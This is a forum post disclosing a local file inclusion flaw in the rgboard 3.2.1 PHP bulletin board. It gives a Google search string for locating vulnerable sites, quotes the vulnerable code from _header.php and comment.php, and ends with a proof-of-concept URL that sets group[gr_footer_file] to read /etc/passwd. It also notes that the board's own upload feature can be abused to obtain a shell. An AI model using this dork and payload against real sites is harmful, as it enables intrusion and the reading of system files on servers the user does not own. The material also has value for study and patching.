WPE|52wpe|我爱WPE

 找回密码
 注册会员
搜索
  • 2067查看
  • 0回复

主题

好友

1142

积分

金牌会员

发表于 2010-1-3 09:49:22 |显示全部楼层
version: rgboard_3.2.1
googledrok:
inurl:rgboard or inurl:view.php?bbs_id
漏洞文件:
_header.php
Code:<?
        if(realpath($_SERVER[SCRIPT_FILENAME]) == realpath(__FILE__)) exit;
        
        // 俊靛柯捞扼搁 霸矫魄 仟磐 公矫
        if(!eregi('addon.php$',$HTTP_SERVER_VARS["PHP_SELF"])) {
                if ($bbs[bbs_footer_file] && file_exists("$bbs[bbs_footer_file]"))
                        include "$bbs[bbs_footer_file]";
                echo $bbs[bbs_footer_tag];
        }
        
        if ($group[gr_footer_file] && file_exists("$group[gr_footer_file]"))
    include "$group[gr_footer_file]";
        echo $group[gr_footer_tag];
?>
因为realpath($_SERVER[SCRIPT_FILENAME]) == realpath(__FILE__),限制了,无法从_header.php文件解发漏洞..而作者用file_exists 函数判断group[gr_footer_file] 文件否存在.所以无法使远程包含漏洞发生…但作者没有限制后缀,所以可以直接利用程序本身的上传拿SHELL.
comment.phprequire_once("include/bbs.lib.inc.php");
        
        if(!$auth[bbs_comment]) {
                $error_msg = '鼻茄捞 绝嚼聪促.';
                require_once("_header.php");
                include($skin_board_path."error.php");
                require_once("_footer.php");
                exit;
        }
Comment.php 包含了_header.php ,刚好利用comment.php 文件触发本地包含漏洞的发生..
Poc:http://127.0.0.1/rgboard/bbs/comment.php?group[gr_footer_file]=/etc/passwd

快速发帖

您需要登录后才可以回帖 登录 | 注册会员

手机版|Archiver|WPE|52wpe|我爱WPE ( 闽ICP备15009081号 )

GMT+8, 2024-4-29 00:22 , Processed in 0.061638 second(s), 16 queries .

返回顶部